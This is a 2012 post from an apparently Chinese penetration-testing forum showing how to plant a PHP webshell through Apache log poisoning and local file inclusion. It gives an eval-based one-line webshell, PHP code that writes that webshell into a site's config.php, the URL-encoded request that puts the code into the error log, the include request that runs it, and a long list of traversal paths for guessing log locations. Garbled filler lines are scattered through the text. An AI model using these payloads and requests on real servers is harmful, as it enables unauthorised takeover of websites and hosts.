中国网络渗透测试联盟
标题:
php包含apache日志写马
[打印本页]
作者:
admin
时间:
2012-9-15 14:27
标题:
php包含apache日志写马
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
! o6 Y: Z0 O# ~4 m
; h8 _& Z' r( I" Q9 r0 t
比如还是这句一句话木马
8 h' W& q* s0 u+ }
<?eval($_POST[cmd]);?>
* N8 t1 Z2 {/ o; a
3 C" P- a6 H4 o8 w
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
& t* S1 [, O' b. J# R `9 t# I; x
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
* u% ~0 W$ y5 s3 o
; v; T) P8 L" N+ t# n
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
8 y) c, @ q( I
fclose($fp);?> //在config.php里写入一句木马语句
4 O3 k+ R+ ~4 z- ^3 {% D# ]
t# M2 e3 \4 G9 Y/ i
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
; g9 v. |; b+ h5 f8 A
转换为
. ]( e1 Z/ m: Q* A$ d
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
' s# H$ q- `$ b
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
6 p. a; t* M5 O) I% M& B& L7 V. \; B
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
# i, {' [) C1 N+ a3 @5 P
fclose%28%24fp%29%3B%3F%3E
. c3 B" f$ V# u+ I: n! x9 G
我们提交
( e+ e8 o2 T8 K0 w2 S0 O7 z" w0 Q
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
_& ]: s- P5 {. C3 f- S0 i
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
3 m8 m1 j( m2 i0 a9 n# v( n
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
5 T3 Z& D0 c! }7 E' n
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
. [- W+ Y) U, i7 `
, n9 ?; f1 Z% i8 v9 `
这样就错误日志里就记录下了这行写入webshell的代码。
5 g* b l8 k4 f; ]) P
我们再来包含日志,提交
' X' s0 |5 V4 R# j3 O
http://xxx.com/z.php?zizzy=/home
... /logs/www-error_log
' ?! d( w. r8 j# D8 c) d
1 S* O, d, M" r/ E
这样webshell就写入成功了,config.php里就写入一句木马语句
0 l( l8 a4 N: e0 H8 B* }: w. v! ?! X3 q
OK.
) h% \8 I% A# ]# K
http://www.xxx.com/forum/config.php
这个就成了我们的webshell
' Q( G( f$ @& ?- P
直接用lanker的客户端一连,主机就是你的了。
0 o, q1 @3 a$ Q# E
7 i3 N4 \5 S; N. m. \
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
; x4 W0 v- t" J4 h; Z
5 D6 a, Z: w2 Y. r D7 _ s4 o
其他的日志路径,你可以去猜,也可以参照这里。
; O; Y/ O( r0 U; D/ {
../../../../../../../../../../var/log/httpd/access_log
. v; r- _, ^+ p: M% l1 S
../../../../../../../../../../var/log/httpd/error_log
2 ^' Q$ J6 H9 e9 N
../apache/logs/error.log
8 x$ n' @0 L- Q" Z* s
../apache/logs/access.log
( s7 h/ f& J7 k/ e- T
../../apache/logs/error.log
& _# P( t8 \8 o0 V
../../apache/logs/access.log
: [0 m( A4 T. L9 W+ d" q! H
../../../apache/logs/error.log
& D& P0 S% ~/ q1 t4 P$ n
../../../apache/logs/access.log
* [3 i9 g( x! r$ I/ v
../../../../../../../../../../etc/httpd/logs/acces_log
& b5 B) [0 O1 e# x- ]; O0 l
../../../../../../../../../../etc/httpd/logs/acces.log
9 i; i. o! Z1 h8 C
../../../../../../../../../../etc/httpd/logs/error_log
( X3 h3 e% c6 P2 F
../../../../../../../../../../etc/httpd/logs/error.log
3 E7 P, m$ u6 a& k$ i. t Y1 {
../../../../../../../../../../var/www/logs/access_log
# y* \+ G2 t6 m6 |, r8 X
../../../../../../../../../../var/www/logs/access.log
3 y. z# a0 p/ J- ? t: T; k+ Q
../../../../../../../../../../usr/local/apache/logs/access_log
7 F9 U4 W2 A6 f! T) f7 ?2 |
../../../../../../../../../../usr/local/apache/logs/access.log
" b: n! l6 m/ q$ L w/ \4 P
../../../../../../../../../../var/log/apache/access_log
5 k1 P9 y# }' A% t% l0 M P
../../../../../../../../../../var/log/apache/access.log
0 I) |; ^" r/ m$ F7 I" w
../../../../../../../../../../var/log/access_log
/ L) K3 i, Q% u+ o4 t% X
../../../../../../../../../../var/www/logs/error_log
! N( F( I, ], O& _1 I6 m
../../../../../../../../../../var/www/logs/error.log
* A$ _/ w3 x/ j% Z3 D9 Y$ b
../../../../../../../../../../usr/local/apache/logs/error_log
9 y% V2 i; a7 P4 O. h
../../../../../../../../../../usr/local/apache/logs/error.log
) M7 x4 H/ o$ b
../../../../../../../../../../var/log/apache/error_log
* Z" C9 m( V$ i; |7 X+ v
../../../../../../../../../../var/log/apache/error.log
: E9 \" I3 R Y* S" B
../../../../../../../../../../var/log/access_log
5 N$ ?' G& `9 ~4 i4 r
../../../../../../../../../../var/log/error_log
0 q# l6 }- I- b! s7 W
/var/log/httpd/access_log
. e; ]3 z% _. G: a& Y
/var/log/httpd/error_log
: s& i3 p- N+ g) [4 L4 u2 n& w
../apache/logs/error.log
1 E' r& q% J. [, t
../apache/logs/access.log
/ ~3 _6 r( q5 N6 t% e
../../apache/logs/error.log
5 ?; \& j9 c. E! o S
../../apache/logs/access.log
8 L2 e5 y8 p) J& h- }
../../../apache/logs/error.log
7 p2 s' r; h; J+ I& [: D7 ~$ r# m9 P/ R
../../../apache/logs/access.log
$ Z/ t- h( F. p
/etc/httpd/logs/acces_log
8 O q8 P- M/ F# v9 z
/etc/httpd/logs/acces.log
; b+ s/ }8 x7 M; P( ?- G
/etc/httpd/logs/error_log
+ B1 G" W- @, x/ \0 ~
/etc/httpd/logs/error.log
2 G9 u4 f, Z- N8 q7 c; R
/var/www/logs/access_log
Z. c" [( m- {) p$ [$ A$ N5 t
/var/www/logs/access.log
" k) O7 O. Q- v" m7 ^
/usr/local/apache/logs/access_log
4 @4 P4 F+ X2 N3 B% y
/usr/local/apache/logs/access.log
- @9 |# p$ c# X, w: Y# _
/var/log/apache/access_log
6 h4 u0 r2 ^. J' @* U6 v
/var/log/apache/access.log
! C; m) @4 G# W! b5 p5 ~( @) i3 o' `6 b
/var/log/access_log
$ z: Y! p* B; M7 Y
/var/www/logs/error_log
" J9 E2 ^+ m' W
/var/www/logs/error.log
7 ~ V9 _+ N: h: c" P
/usr/local/apache/logs/error_log
; R& E. e+ D0 ]; x5 k% _
/usr/local/apache/logs/error.log
# Y; l! C+ t$ _; }1 q
/var/log/apache/error_log
/ }+ G$ v$ h* n. _* Q7 k
/var/log/apache/error.log
! w Q$ x' |' c
/var/log/access_log
7 A+ F/ x( n; `2 P
/var/log/error_log
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2